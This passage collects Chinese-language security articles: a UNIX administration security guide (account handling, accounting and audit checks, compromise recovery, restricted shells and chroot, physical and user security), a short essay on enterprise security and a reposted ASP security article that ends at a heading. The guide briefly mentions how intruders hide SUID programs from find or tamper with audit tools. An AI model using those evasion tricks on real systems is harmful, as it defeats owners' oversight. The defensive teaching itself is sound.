由于用户登录时,系统从/etc/passwd文件中取GID,而不是从/etc/group中
取GID,所以group文件和口令文件应当具有一致性.对于一个用户的小组,UID和
GID应当是相同的.多用户小组的GID应当不同于任何用户的UID,一般为5位数,这
样在查看/etc/passwd文件时,就可根据5位数据的GID识别多用户小组,这将减少
增加新组,新用户时可能产生的混淆.

7.增加,删除,移走用户

(1)增加用户
增加用户有三个过程:
. 在/etc/passwd文件中写入新用户的入口项.
. 为新登录用户建立一个HOME目录.
. 在/etc/group中为新用户增加一个入口项.
在/etc/passwd文件中写入新的入口项时,口令部分可先设置为NOLOGIN,
以免有人做为此新用户登录.在修改文件前,应mkdir /etc/ptmp,以免他人同
时修改此文件.新用户一般独立为一个新组,GID号与UID号相同(除非他要加入
目前已存在的一个新组),UID号必须和其他人不同,HOME目录一般设置在/usr
或/home目录下建立一个以用户登录名为名称的目录做为其主目录.

(2)删除用户
删除用户与加用户的工作正好相反,首先在/etc/passwd和/etc/group文
件中删除用户的入口项,然后删除用户的HOME目录和所有文件.
rm -r /usr/loginname 删除整个目录树.
如果用户在/usr/spool/cron/crontabs中有crontab文件,也应当删除.

(3)将用户移到另一个系统
这是一个复杂的问题,不只是拷贝用户的文件和用户在/etc/passwd文件
中的入口项.首先一个问题是用户的UID和GID可能已经用于另一个系统,若是
出现这种情况,必须给要移的用户分配另外的UID和GID,如果改变了用户的UID
和GID,则必须搜索该用户的全部文件,将文件的原UID和GID改成新的UID和GID.
用find命令可以完成这一修改:
find . -user olduid -exec chown newuid {} \;
find . -group oldgid -exec chgrp newgid {} \;
也许还要为用户移走其它一些文件:
/usr/mail/user和/usr/spool/cron/crontabs/user.
如果用户从一个不是本系统管理员的系统移来,则应对该用户的目录结构
运行程序来检查.一个不安全系统的用户,可能有与该用户其它文件存在一起
的SUID/SGID程序,而这个SUID/SGID程序属于另一个用户.在这种情况下,如果
用cpio或tar命令将用户的目录结构拷贝到本系统,SUID/SGID程序也将会拷贝
到本系统而没有任何警告信息.应当在允许用户使用新系统以前先删除这种文
件的SUID/SGID许可.总之,始终坚持检查所移用户的文件总是更安全些.也可
以用su命令进入用户的户头,再拷贝用户文件,这样文件的所有者就是该用户,
而不是root.

8.安全检查
像find和secure这样的程序称为检查程序,它们搜索文件系统,寻找出SUID/
SGID文件,设备文件,任何人可写的系统文件,设有口令的登录用户,具有相同UID
/GID的用户等等.

(1)记帐
UNIX记帐软件包可用作安全检查工具,除最后登录时间的记录外,记帐系
统还能保存全天运行的所有进程的完整记录,对于一个进程所存贮的信息包括
UID,命令名,进程开始执行与结束的时间,CPU时间和实际消耗的时间,该进程
是否是root进程,这将有助于系统管理员了解系统中的用户在干什么.acctcom
命令可以列出一天的帐目表.有明,系统中有多个记帐数据文件,记帐信息保存
在文件/usr/adm/pacct*中,/usr/adm/pacct是当前记录文件,/usr/adm/pacctn
是以前的记帐文件(n为整型数).若有若干个记帐文件要查看,可在acctcom命
令中指定文件名: acctcom /usr/adm/pacct? /usr/adm/pacct
要检查的问题的其中之一是:在acctcom的输出中查找一个用户过多的登
录过程,若有,则说明可能有人一遍遍地尝试登录,猜测口令,企图非法进入系
统.此外,还应查看root进程,除了系统管理员用su命令从终端进入root,系统
启动,系统停止时间,以及由init(通常init只启动getty,login,登录shell),
cron启动的进程和具有root SUID许可的命令外,不应当有任何root进程.
由记帐系统也可获得有关每个用户的CPU利用率,运行的进程数等统计数
据.

(2)其它检查命令
*du:报告在层次目录结构(当前工作目录或指定目录起)中各目录占用的
磁盘块数.可用于检查用户对文件系统的使用情况.
*df:报告整个文件系统当前的空间使用情况.可用于合理调整磁盘空间的
使用和管理.
*ps:检查当前系统中正在运行的所有进程.对于用了大量CPU时间的进程,
同时运行了许多进程的用户,运行了很长时间但用了很少CPU时间的
用户进程应当深入检查.还可以查出运行了一个无限制循环的后台进
程的用户,未注销户头就关终端的用户(一般发生在直接连线的终端).
*who:可以告诉系统管理员系统中工作的进展情况等等许多信息,检查用
户的登录时间,登录终端.
*su:每当用户试图使用su命令进入系统用户时,命令将在/usr/adm/sulog
文件中写一条信息,若该文件记录了大量试图用su进入root的无效操
作信息,则表明了可能有人企图破译root口令.
*login:在一些系统中,login程序记录了无效的登录企图(若本系统的
login程序不做这项工作而系统中有login源程序,则应修改login).
每天总有少量的无效登录,若无效登录的次数突然增加了两倍,则表
明可能有人企图通过猜测登录名和口令,非法进入系统.
这里最重要的一点是:系统管理没越熟悉自己的用户和用户的工作习惯,
就越能快速发现系统中任何不寻常的事件,而不寻常的事件意味着系统已被人
窃密.

(3)安全检查程序的问题
关于以上的检查方法的一个警告,若有诱骗,则这些方法中没有几个能防
诱骗.如find命令,如果碰到路径名长于256个字符的文件或含有多于200个文
件的目录,将放弃处理该文件或目录,用户就有可能利用建立多层目录结构或
大目录隐藏SUID程序,使其逃避检查(但find命令会给出一个错误信息,系统管
理员应手工检查这些目录和文件).也可用ncheck命令搜索文件系统,但它没有
find命令指定搜索哪种文件的功能.
如果定期存取.profile文件,则检查久未登录用户的方法就不奏效了.而
用户用su命令时,除非用参数-,否则su不读用户的.profile.
有三种方法可寻找久未登录的帐户:
. UNIX记帐系统在文件/usr/adm/acct/sum/login中为每个用户保留了最
后一次登录日期.用这个文件的好处是,该文件由系统维护,所以可完全
肯定登录日期是准确的.缺点是必须在系统上运行记帐程序以更新
loginlog文件,如果在清晨(午夜后)运行记帐程序,一天的登录日期可
能就被清除了.
. /etc/passwd文件中的口令时效域将能告诉系统管理员,用户的口令是
否过期了,若过期,则意味着自过期以来,户头再未被用过.这一方法的
好处在于系统记录了久未用的户头,检查过程简单,且不需要记帐系统
所需要的磁盘资源,缺点是也许系统管理员不想在系统上设置口令时效,
而且这一方法仅在口令的最大有效期(只有几周)才是准确的.
. 系统管理员可以写一个程序,每天(和重新引导系统时)扫描/etc/wtmp,
自己保留下用户最后登录时间记录,这一方法的好处是不需要记帐程序,
并且时间准确,缺点是要自己写程序.
以上任何方法都可和/usr/adm/sulog文件结合起来,查出由login或su登
录户头的最后登录时间.
如果有人存心破坏系统安全,第一件要做的事就是寻找检查程序.破坏者
将修改检查程序,使其不能报告任何异常事件,也可能停止系统记帐,删除记帐
文件,使系统管理员不能发现破坏者干了些什么.

(4)系统泄密后怎么办?
发现有人已经破坏了系统安全的时候,这时系统管理员首先应做的是面对
肇事用户.如果该用户所做的事不是蓄意的,而且公司没有关于"破坏安全"的
规章,也未造成损坏,则系统管理员只需清理系统,并留心该用户一段时间.如
果该用户造成了某些损坏,则应当报告有关人士,并且应尽可能地将系统恢复
到原来的状态.
如果肇事者是非授权用户,那就得做最坏的假设了:肇事者已设法成为root
且本系统的文件和程序已经泄密了.系统管理员应当想法查出谁是肇事者,他
造成了什么损坏?还应当对整个文件做一次全面的检查,并不只是检查SUID和
SGID,设备文件.如果系统安全被一个敌对的用户破坏了,应当采用下面的步骤:
. 关系统,然后重新引导,不要进入多用户方式,进入单用户方式.
. 安装含有本系统原始UNIX版本的带和软盘.
. 将/bin,/usr/bin,/etc,/usr/lib中的文件拷贝到一个暂存目录中.
. 将暂存目录中所有文件的校验和(用原始版本的sum程序拷贝做校验和,
不要用/bin中的suM程序做)与系统中所有对就的文件的校验和进行比
较,如果有任何差别,要查清差别产生的原因.如果两个校验和不同,是
由于安装了新版本的程序,确认一相是否的确是安装了新版本程序.如
果不能找出校验和不同的原因,用暂存目录中的命令替换系统中的原有
命令.
. 在确认系统中的命令还未被窜改之前,不要用系统中原命令.用暂存目
录中的shell,并将PATH设置为仅在暂存目录中搜索命令.
. 根据暂存目录中所有系统命令的存取许可,检查系统中所有命令的存取
许可.
. 检查所有系统目录的存取许可,如果用了perms,检查permlist文件是否
被窜改过.
. 如果系统UNIX(/unix)的校验和不同于原版的校验和,并且系统管理员
从未修改过核心,则应当认为,一个非法者"很能干",从暂存缓冲区重新
装入系统.系统管理员可以从逐步增加的文件系统备份中恢复用户的文
件,但是在检查备份中的"有趣"文件之前,不能做文件恢复.
. 改变系统中的所有口令,通知用户他们的口令已改变,应找系统管理员
得到新口令.
. 当用户来要新口令时,告诉用户发生了一次安全事故,他们应查看自己
的文件和目录是否潜伏着危害(如SUID文件,特洛依木马,任何人可写的
目录),并报告系统管理员任何异乎寻常的情况.
. 设法查清安全破坏是如何发生的?如果没有肇事者说明,这也许是不可
能弄清的.如果能发现肇事者如何进入系统,设法堵住这个安全漏洞.
第一次安装UNIX系统时,可以将shell,sum命令,所有文件的校验和存放在
安全的介质上(带,软盘,硬盘和任何可以卸下并锁焉起来的介质).于是不必再
从原版系统带上重新装入文件,可以安装备份介质,装入shell和sum,将存在带
上的校验和与系统中文件的校验和进行比较.系统管理员也许想自己写一个计
算校验和的程序,破坏者将不能知道该程序的算法,如果将该程序及校验和保
存在带上,这一方法的保密问题就减小到一个物理的安全问题,即只需将带锁
起来.

9.加限制的环境

(1)加限制的shell(rsh)
该shell几乎与普通的shell相同,但是该shell的设计能限制一个用户的
能力,不允许用户有某些标准shell所允许的行为:
. 不能改变工作目录(cd).
. 不能改变PATH或SHELL shell变量.
. 不能使用含有"/"的命令名.
. 不能重定向输出(〉和〉〉).
. 不能用exec执行程序.
用户在登录时,招待.profile文件后系统就强加上了这些限制,如果用户
在.profile文件正被解释时按了BREAK键或DELETE键,该用户将被注销.
这些简单的限制,使用写受限制用户的.profile文件的系统管理员可以对
用户能使用什么命令,进行完全的控制.
应当注意:系统V加限制的shell实际上不是很安全,在敌对的用户时不要
用.系统V版本2以后的版本中加限制的shell更安全些.但若允许受限制的用户
使用某些命令(如env,cp,ln),用户将能逃避加限制的shell,进入非限制的
shell.

(2)用chroot()限制用户
如果的确想限制一个用户,可用chroot()子程序为用户建立一个完全隔离
的环境,改变了进程对根目录的概念,因此可用于将一个用户封在整个文件系
统的某一层目录结构中,使用户无法用cd命令转出该层目录结构,不能存取文
件系统中其余部分的任何文件.这种限制方式比加限制的shell好得多.用户使
用的命令应由系统管理员在新的root目录中建立一个bin目录,并建立用户可
用命令的链到系统的/bin目录中相应命令文件上(若在不同的文件系统则应拷
贝命令文件).
还应建立新的passwd文件,保留系统登录户头(为了使ls -l正确地报告与
受限制的子文件系统中的文件相关的正确登录名)和用户帐户,但系统帐户的
口令改为NOLOGIN以使受限制的用户不能取得系统登录的真实口令,使"破密"
程序的任何企图成为泡影.
utmp文件是who所需要的,该文件含有系统中已登录用户的列表.
新的/etc/profile文件也不是建链文件,以便受限制的用户可以执行不同
的启动命令.
/dev目录中的终端设备文件被链接到新的/dev目录下,因为命令who产生
输出时要查看这些文件.
在系统V及以后的UNIX版本中,login命令有chroot()的功能.如果口令文
件中用户入口项的登录shell域(最后一个域)是*,login将调用chroot()把用
户的根目录设置成为口令文件中用户入口项登录目录域指定的目录.然后再调
用exec()执行login,新的login将在新子系统文件中执行该用户的登录.
chroot()并不是把root封锁在一个子文件系统中,所以给受限制用户用的
命令时应加以考虑,具有root的SUID许可的程序可能会给予用户root的能力.
应当将这种可能减低到最小程度,交给用户使用的命令应当取自清除了SUID陷
井的系统命令.链接文件可减少磁盘占用区,但要记住,当与敌对用户打交道时
链接到chroot目录结构(尤其是命令)的系统文件是很危险的.
如果建立一个像这样的限制环境,应确保对安装到新的/bin的每条命令都
做过测试,有些程序可能有系统管理员未曾想到的出乎意料的执行结果.为了
使这些命令能运行,还得在加限制的子文件系统中加服务目录或文件如:/tmp,
/etc/termcap,/usr/lib/terminfo,/dev/mem,/dev/kmem,/dev/swap,用户所
登录的/dev中的tty文件以及/unix.
有些程序在子文件系统中运行时不会很好,如果将假脱机程序和网络命令
拷贝到加限制的子文件系统中,并放在为两条命令专建的目录层结构下,它们
可能也运行不了.

10.小系统安全
任何足够小,运行于办公室的UNIX系统就是小系统.这类小系统也包括所有
台式UNIX机器.根据安全观点,使小系统很特别而值得特别的有以下几点:
. 小系统的用户比大系统的用户少,通常是很小一组用户,使系统管理员能
熟悉每个人,安全问题可以直接地面对面处理.
. 由于小UNIX系统管理更简单,可能只需要一个系统管理员,因而维护系统
安全的责任只有一个人担负.
. 如果既是用户又是系统管理员,将不能花大量时间考虑系统安全.
. 如果自己拥有系统并且是系统管理员,就可能有权直接将违反规的用户从
系统中删除,而没有几个大系统的管理员能有这种权利.
. 如果自己是系统的唯一用户,则将既是用户又是管理员,维护系统安全的
任务就很简单了,只须确保系统中所有登录户头的口令是好的.
. 如果不能将系统锁起来,就把敏感的数据存放在软盘上,把软盘锁起来.
. 即使系统中有若干个用户,但如果系统的终端之产是有线连接,并且用户
们保持门上锁,则系统也将是安全的,至少在本组用户内是安全的.
. 小系统通常有可移动的介质(软盘),可用mount命令将其安装到系统上,提
供一种安全的方法让用户自己在系统上安装软盘,否则系统管理员要一天
到晚地干这些琐碎的安装盘事务.允许用户安装软盘的通常做法是给用户
一个SUID程序,该程序基本完成与系统管理员安装用户软盘同样的操作,
首先检查软盘上有无SUID/SGID/设备文件,若发现任何奇怪的文件,则拒
绝安装该软盘.
. 当小系统开电源后,系统一般在从硬盘引导以前,先试图从软盘引导.这就
意味着计算机将首先试图从软盘装入程序,若软盘不在驱动器中,系统将
从硬盘装入UNIX内核.软盘几乎可以含有任何程序,包括在控制台启动
root shell的UNIX系统版本.如果破坏者有一把螺丝起子和有关系统内部
的一些知识,则即便系统有被认为防止安全事故发生的特殊"微码"口令,
也可能被诱骗去从软盘引导.
. 即使小系统晚上不锁,凡从不将个人的或秘密的信息存放在大系统上的人
他们不可能认识所有系统上的用户),也不会想把这样的信息存放在小系
统上.
. 小系统的系统管理员在使用UNIX系统方面常不如大系统管理员有经验,而
安全地管理系统需要一定的使用系统的知识.

11.物理安全
对于运行任何操作系统的小型或大型计算机,物理安全都是一个要考虑的重
要问题,物理安全包括:锁上放置计算机的屋子,报警系统,警卫,所有安置在不能
上锁的地方的通讯设施,包括有线通讯线,电话线,局域网,远程网,应答MODEM,钥
匙或信用卡识别设备,给用户的口令和钥匙分配,任何前置通讯设施的加密装置,
文件保护,备份或恢复方案(称为安全保险方案,用作应付偶然的或蓄意的数据或
计算设备被破坏的情况),上锁的输出仃,上锁的废物箱和碎纸机.
物理安全中所饮食的总考虑应是:在安全方案上所付出的代价不应当多于值
得保护的(硬件或软件的)价值.
下面着重讨论保护用户的各种通讯线.对于任何可在不上锁的地方存取的系
统,通讯是特别严重的安全薄弱环节.当允许用户通过挂到地方电话公司的拨号
MODEM存取系统时,系统的安全程度就将大大地削弱,有电话和MODEM的任何人就
可能非法进入该系统.应当避免这一情况,要确保MODEM的电话号码不被列于电话
薄上,并且最好将电话号码放在不同于本公司普通电话号码所在的交换机上.总
之,不要假设没人知道自己的拨入号码!大多数家庭计算机都能编程用一个MODEM
整天地依次调用拨号码,记录下连接上其它MODEM的号码.如果可能,安装一个局
域PBX,使得对外界的拨号产生一秒钟的拨号蜂音,并且必须输入一个与MODEM相
关联的扩展号码.

12.用户意识
UNIX系统管理员的职责之一是保证用户安全.这其中一部分工作是由用户的
管理部门来完成,但是作为系统管理员,有责任发现和报告系统的安全问题,因为
系统管理员负责系统的运行.
避免系统安全事故的方法是预防性的,当用户登录时,其shell在给出提示前
先执行/etc/profile文件,要确保该文件中的PATH指定最后搜索当前工作目录,
这样将减少用户能运行特洛依木马的机会.
将文件建立屏蔽值的设置放在该文件中也是很合适的,可将其值设置成至少
将防止用户无意中建立任何人都能写的文件(022/026).要小心选择此值,如果限
制太严,则用户会在自己的.profile中重新调用umask以抵制系统管理员的意愿,
如果用户大量使用小组权限共享文件,系统管理员就一要设置限制小组存取权限
的屏蔽值.系统管理员必须建立系统安全和用户的"痛苦量"间的平衡(痛苦量是
安全限制引起的愤怒的函数).定期地用grep命令查看用户.profile文件中的
umask,可了解系统安全限制是否超过了用户痛苦极限.
系统管理员可每星期随机抽选一个用户,将该用户的安全检查结果(用户的
登录情况简报,SUID/SGID文件列表等)发送给他的管理部门和他本人.主要有四
个目的:
. 大多数用户会收到至少有一个文件检查情况的邮件,这将引起用户考虑安
全问题(虽然并不意味着用户们会采取加强安全的行动).
. 有大量可写文件的用户,将一星期得到一次邮件,直到他们取消可写文件
的写许可为止.冗长的烦人的邮件信息也许足以促使这些用户采取措施,
删除文件的写许可.
. 邮件将列出用户的SUID程序,引起用户注意自己有SUID程序,使用户知道
是否有不是自己建立的SUID程序.
. 送安全检查表可供用户管理自己的文件,并使用户知道对文件的管理关系
到数据安全.如果系统管理员打算这样做,应事先让用户知道,以便他们了
解安全检查邮件的目的.
发送邮件是让用户具有安全意识,不要抱怨发送邮件.

管理意识是提高安全性的另一个重要因素.如果用户的管理部门对安全要求
不强烈,系统管理员可能也忘记强化安全规则.最好让管理部门建立一套每个人
都必须遵守的安全标准,如果系统管理员在此基础上再建立自己的安全规则,就
强化了安全.管理有助于加强用户意识,让用户明确,信息是有价值的资产.

系统管理员应当使安全保护方法对用户尽可能地简单,提供一些提高安全的
工具,如:公布锁终端的lock程序,让用户自己运行secure程序,将pwexp(检查用
户口令信息的程序)放入/etc/profile中,使用户知道自己的口令时间.多教给用
户一些关于系统安全的知识,确保用户知道自己的许可权限和umask命令的设置
值.如果注意到用户在做蠢事,就给他们一些应当怎样做才对的提示.用户知道的
关于安全的知识越多,系统管理员在保护用户利益方面做的事就越少.

13.系统管理员意识

(1)保持系统管理员个人的登录安全
若系统管理员的登录口令泄密了,则窃密者离窃取root只有一步之遥了,
因为系统管理员经常作为root运行,窃密者非法进入到系统管理员的户头后,
将用特洛依木马替换系统管理员的某些程序,系统管理员将作为root运行这些
已被替换的程序.正是因为这个原因,在UNIX系统中,管理员的户头最常受到攻
击.即使su命令通常要在任何都不可读的文件中记录所有想成为root的企图,
还可用记帐数据或ps命令识别运行su命令的用户.也是如此,系统管理员作为
root运行程序时应当特别小心,因为最微小的疏忽也可能"沉船".下列一些指
导规则可使系统管理员驾驶一艘"坚固的船":
. 不要作为root或以自己的登录户头运行其他用户的程序,首先用su命令进
入用户的户头.
. 决不要把当前工作目录排在PATH路径表的前边,那样实际是招引特洛依木
马.当系统管理员用su命令进入root时,他的PATH将会改变,就让PATH保持
这样,以避免特洛依木马的侵入.
. 敲入/bin/su执行su命令.若有su源码,将其改成必须用全路径名运行(即
su要确认argv[0]的头一个字符是"/"才运行).随着时间的推移,用户和管
理员将养成敲/bin/su的习惯.
. 不要未注销户头就离开终端,特别是作为root用户时更不能这样.当系统
管理员作为root用户时,命令提示符是"#",这个提示符对某些人来说可能
是个红灯标志.
. 不允许root在除控制台外的任何终端登录(这是login的编译时的选项),
如果没有login源码,就将登录名root改成别的名,使破坏者不能在root登
录名下猜测各种可能的口令,从而非法进入root的户头.
. 经常改变root的口令.
. 确认su命令记下的想运行su企图的记录/usr/adm/sulog,该记录文件的许
可方式是600,并属root所有.这是非法者喜欢选择来替换成特洛依木马的
文件.
. 不要让某人作为root运行,即使是几分钟,即使是系统管理员在一旁注视
着也不行!

(2)保持系统安全
. 考虑系统中一些关键的薄弱环节:
a. 系统是否有MODEM?电话号码是否公布?
b. 系统是否连接到?还有什么系统也连接到该网络?
c. 系统管理员是否使用未知来处或来处不可靠的程序?
d. 系统管理员是否将重要信息放在系统中?
e. 系统的用户是熟悉系统的使用还是新手?
f. 用户是否很重视关心安全?
g. 用户的管理部门是否重视安全?
. 保持系统文件安全的完整性.检查所有系统文件的存取许可,任何具有
SUID许可的程序都是非法者想偷换的选择对象.
. 要特别注意设备文件的存取许可.
. 要审查用户目录中具有系统ID/系统小组的SUID/SGID许可的文件.
. 在未检查用户的文件系统的SUID/SGID程序和设备文件之前,不要安装用
户的文件系统.
. 将磁盘的备份存放在安全的地方.
. 设置口令时效,如果能存取UNIX的源码,将加密口令和信息移到仅对root
可读的文件中,并修改系统的口令处理子程序.这样可增加口令的安全.修
改passwd,使passwd能删去口令打头和末尾的数字,然后根据spell词典和
/etc/passwd中用户的个人信息,检查用户的新口令,也检查用户新口令中
子串等于登录名的情况.如果新口令是spell词典中的单词,或/etc/passwd
中的入口项的某项值,或是登录名的子串,passwd将不允许用户改变口令.
. 记录本系统的用户及其授权使用的系统.
. 查出久未使用的登录户头,并取消该户头.
. 确保没有无口令的登录户头.
. 启动记帐系统.
. 查出不寻常的系统使用情况,如大量的占用磁盘,大量的使用CPU时间,大
量的进程,大量的使用su的企图,大量无效的登录,大量的到某一系统的网
络传输,奇怪的uucp请求.
. 修改shell,使其等待了一定时间而无任务时终止运行.
. 修改login,使其打印出用户登录的最后时间,三次无效登录后,将通讯线
挂起,以便系统管理员能检查出是否有人试图非法进入系统.确保login不
让root在除控制台外的任何地方登录.
. 修改su,使得只有root能以过期口令通过su进入某一户头.
. 当安装来源不可靠的软件时,要检查源码和makefile文件,查看特殊的子
程序调用或命令.
. 即使是安装来源可靠的软件,也要检查是否有SUID(SGID)程序,确认这些
许可的确是必要的.如果可能,不要让这些程序具有系统ID(或组)的SUID
(SGID)许可,而应该建立一个新用户(或给)供该软件运行.
. 如果系统在办公室中,门应上锁,将重要数据保存在软盘上或带上,并锁起
来.
. 将secure,perms和任何其它做安全检查的shell程序存取许可置为仅执行,
更好的是将这些shell程序存于可拆卸的介质上.
. 记住,只要系统有任何人都可调用的拨号线,系统就不可能真正的安全.系
统管理员可以很好地防止系统受到偶然的破坏.但是那些有耐心,有计划,
知道自己在干什么的破坏者,对系统直接的有预谋的攻击却常常能成功.
. 如果系统管理员认为系统已经泄密,则应当设法查出肇事者.若肇事者是
本系统的用户,与用户的管理部门联系,并检查该用户的文件,查找任何可
疑的文件,然后对该用户的登录小心地监督几个星期.如果肇事者不是本
系统的用户,可让本公司采取合法的措施,并要求所有的用户改变口令,让
用户知道出了安全事故,用户们应当检查自己的文件是否有被窜改的迹象.
如果系统管理员认为系统软件已被更改了,就应当从原版系统带(或;软盘
)上重装入所有系统软件,保持系统安全比道歉更好.


浅谈企业计算机安全问题

提交者邮件地址: jackyyp@163.com
提交者QQ号码: http://jackyyp.nease.net/
标题: 浅谈企业计算机安全问题
版权：文章属中华安全网http://www.safechina.net和作者共同所有，转载请注明出处！！
内容:
现在计算机成了企业不可缺少的一样工具，不少企业也选择了在网络这个无形的市场来大展宏图！然而，在如今的企业局域网、电子商务等新事物出现之际，又有多少企业真正思考过如何保护计算机内企业机密的安全等问题呢？因此，通过学习，我就跟大家谈谈我对企业计算机安全问题的看法。
一、选择计算机
我认为，企业选择计算机的时候考虑的因素有以下几点：
1 计算机性能
2 计算机硬件寿命
3 计算机价格
4 售后服务（包括维修、更换硬件等）
企业选购计算机不是一定要选择品牌机！选购的原则主要是价格与性能比和售后服务。
二、选择软件
一谈到选择软件，就必须先考虑选择操作系统。那么，该如何选择呢？我觉得在不考虑几个因素的前提下，选择相对稳定的、较为安全的系统。
企业的计算机恐怕在一天的工作中也不会闲着，有的甚至日夜工作！那么在不考虑计算机硬件、不包括系统在内的其他软件及外部因素的前提下，一个相对稳定的系统是计算机长时间正常运作的保证！
其次，就是安装在系统内的软件。具体安装什么软件，就要看企业的需要了，但是我觉得无论如何以下软件是必不可少的：
1 反病毒软件（最好是网络版的）
2 解压软件
3 翻译软件
4 文字处理软件
这里值得一提的是，无论选择什么软件，都应该首选国产软件！特别是在一些要保存重要数据、机密文件等的计算机内！原因也不用多说了，别人制造的门可以由别人打开。因此，为了安全请首选国产软件。
三、企业局域网安全
现在可以这么说，局域网成了病毒的乐园。病毒为什么会如此猖狂？这和企业局域网管理员和使用者的习惯有关。
病毒对于企业局域网的安全是一个重大的威胁，因此尽力杜绝局域网内应该滋生病毒是重中之重！
对于管理员来说，应该使用网络版的反病毒软件，并且及时升级。还值得一提的是尽可能的使用硬件防火墙。总之，无论是为了自己的工作量还是为了企业局域网的安全，都请管理员一定要注意防护！
对于使用者，也应该注意一下操作习惯，不要因为不是自己的计算机就不加以爱护，毕竟企业的兴衰都与自己密切相关嘛。
四、安全管理制度
安全管理制度是企业计算机安全的一个重要保证。在此，一定要让企业的员工明白，某些管理工作的职位不是固定的，职位的变动也是为了企业的安全。
1 管理工作的职位调动
这十分重要！这样，可以有效的杜绝管理员通过职务之便做与自己身份不符的行为很难查清和发现时间长等一系列问题。
2 物理隔离
对于一些存储重要讯息或者要害计算机必须实施物理隔离。绝对不允许任何人不经过同意擅自进入、管理员未经批准的非常规时间进行操作等。
对于一些存储重要数据、备份以及商业机密的计算机，必须同网络隔绝！这有效的可以杜绝黑客的攻击和病毒的干扰。
3 异地存储
对于一些大型的企业，可以实施异地存储一些重要数据、备份以及商业机密。这样可以使地震对不可抗拒的因素造成影响降到最低。
4 实施强有力的本地监控
一定要杜绝“本地黑客”的出现！
5 密匙共同管理制度
将关系重大的密匙分给几个人持有。在管理时，要几个人同时在场才能进行管理。这和“管理工作的职位调动”一起实施可以有效杜绝管理员滥用职权等行为。
关于该文章：
2003-03-28 第一次上传
2003-03-29 在安全管理制度里增加了密匙共同管理制度

CopyRight (C)2001-2003 SafeChina.net All Rights Reserved


ASP 应用程序的安全[转帖]

    千万不要轻视正确配置安全设置的重要性。如果不正确配置安全设置，不但会使您的 ASP 应用程序遭受不必要的篡改，而且会妨碍正当用户访问您的 .asp 文件。

    Web 服务器提供了各种方法来保护您的 ASP 应用程序免受未授权的访问和篡改。在您读完本主题下的安全信息之后，请花一定的时间仔细检查一下您的 Windows NT 和 Web 服务器安全性文档。详细信息，请参阅 安全性。

NTFS 权限
    您可以通过为单独的文件和目录应用 NTFS 访问权限来保护 ASP 应用程序文件。NTFS 权限是 Web 服务器安全性的基础，它定义了一个或一组用户访问文件和目录的不同级别。当拥有 Windows NT 有效帐号的用户试图访问一个有权限限制的文件时，计算机将检查文件的 访问控制表 (ACL)。该表定义了不同用户和用户组所被赋予的权限。如果用户的帐号具有打开文件的权限，计算机则允许该用户访问文件。例如，Web 服务器上的 Web 应用程序的所有者需要有“更改”权限来查看、更改和删除应用程序的 .asp 文件。但是，访问该应用程序的公共用户应仅被授予“只读”权限，以便将其限制为只能查看而不能更改应用程序的 Web 页。

维护 Global.asa 的安全
    为了充分保护 ASP 应用程序，一定要在应用程序的 Global.asa 文件上为适当的用户或用户组设置 NTFS 文件权限。如果 Global.asa 包含向浏览器返回信息的命令而您没有保护 Global.asa 文件，则信息将被返回给浏览器，即便应用程序的其他文件被保护。有关配置 NTFS 权限的详细信息，请参阅 访问控制。

    注意： 一定要对应用程序的文件应用统一的 NTFS 权限。例如，如果您不小心过度限制了一应用程序需要包含的文件的 NTFS 权限，则用户可能无法查看或运行该应用程序。为了防止此类问题，在为您的应用程序分配 NTFS 权限之前应仔细计划。

Web 服务器权限

    您可以通过配置您的 Web 服务器的权限来限制所有用户查看、运行和操作您的 ASP 页的方式。不同于 NTFS 权限提供的控制特定用户对应用程序文件和目录的访问方式， Web 服务器权限应用于所有用户，并且不区分用户帐号的类型。

    对于要运行您的 ASP 应用程序的用户，在设置 Web 服务器权限时，必须遵循下列原则：

    对包含 .asp 文件的虚拟目录允许“读”或“脚本”权限。对 .asp 文件和其他包含脚本的文件（如 .htm 文件等）所在的虚目录允许“读”和“脚本”权限。对包含 .asp 文件和其他需要“执行”权限才能运行的文件（如 .exe 和 .dll 文件等）的虚目录允许“读”和“执行”权限。有关配置 Web 服务器权限的详细信息，请参阅 访问控制。

脚本映射文件
    应用程序的脚本映射保证了 Web 服务器不会意外地下载 .asp 文件的源代码。例如，即使您为包含了某个 .asp 文件的目录设置了“读”权限，只要该 .asp 文件隶属于某个脚本映射应用程序，那么您的 Web 服务器就不会将该文件的源代码返回给用户。

Cookie 安全性
    ASP 使用 SessionID cookie 跟踪应用程序访问或会话期间特定的 Web 浏览器的信息。这就是说，带有相应的 cookie 的 HTTP 请求被认为是来自同一 Web 浏览器。Web 服务器可以使用 SessionID cookies 配置带有用户特定会话信息的 ASP 应用程序。例如，如果您的应用程序是一个允许用户选择和购买 CD 唱盘的联机音乐商店，就可以用 SessionID 跟踪用户漫游整个应用程序时的选择。

SessionID 能否被黑客猜中？
    为了防止计算机黑客猜中 SessionID cookie 并获得对合法用户的会话变量的访问，Web 服务器为每个 SessionID 指派一个随机生成号码。每当用户的 Web 浏览器返回一个 SessionID cookie 时，服务器取出 SessionID 和被赋予的数字，接着检查是否与存储在服务器上的生成号码一致。若两个号码一致，将允许用户访问会话变量。这一技术的有效性在于被赋予的数字的长度（64 位），此长度使计算机黑客猜中 SessionID 从而窃取用户的活动会话的可能性几乎为 0。

加密重要的 SessionID Cookie

    截获了用户 sessionID cookie 的计算机黑客可以使用此 cookie 假冒该用户。如果 ASP 应用程序包含私人信息，信用卡或银行帐户号码，拥有窃取的 cookie 的计算机黑客就可以在应用程序中开始一个活动会话并获取这些信息。您可以通过对您的 Web 服务器和用户的浏览器间的通讯链路加密来防止 SessionID cookie 被截获。有关加密的详细信息，请参阅 安全性。

使用身份验证机制保护被限制的 ASP 内容

    您可以要求每个试图访问被限制的 ASP 内容的用户必须要有有效的 Windows NT 帐号的用户名和密码。每当用户试图访问被限制的内容时，Web 服务器将进行身份验证，即确认用户身份，以检查用户是否拥有有效的 Windows NT 帐号。

    Web 服务器支持以下几种身份验证方式：

    基本身份验证 提示用户输入用户名和密码。Windows NT 请求/响应式身份验证 从用户的 Web 浏览器通过加密方式获取用户身份信息。

    然而，Web 服务器仅当禁止匿名访问或 Windows NT 文件系统的权限限制匿名访问时才验证用户身份。详细信息，请参阅 关于身份验证。

保护元数据库
    访问元数据库的 ASP 脚本需要 Web 服务器所运行的计算机的管理员权限。在从远程计算机上运行这些脚本时，须经已通过身份验证的连接，如使用 Windows NT 请求/响应验证方式进行连接。应该为管理级 .asp 文件创建一个服务器或目录并将其目录安全验证方式设置为 Windows NT 请求/响应式身份验证。目前，仅 Microsoft Internet Explorer version 2.0 或更高版本支持 Windows NT 请求/响应式身份验证。

使用 SSL 维护应用程序的安全
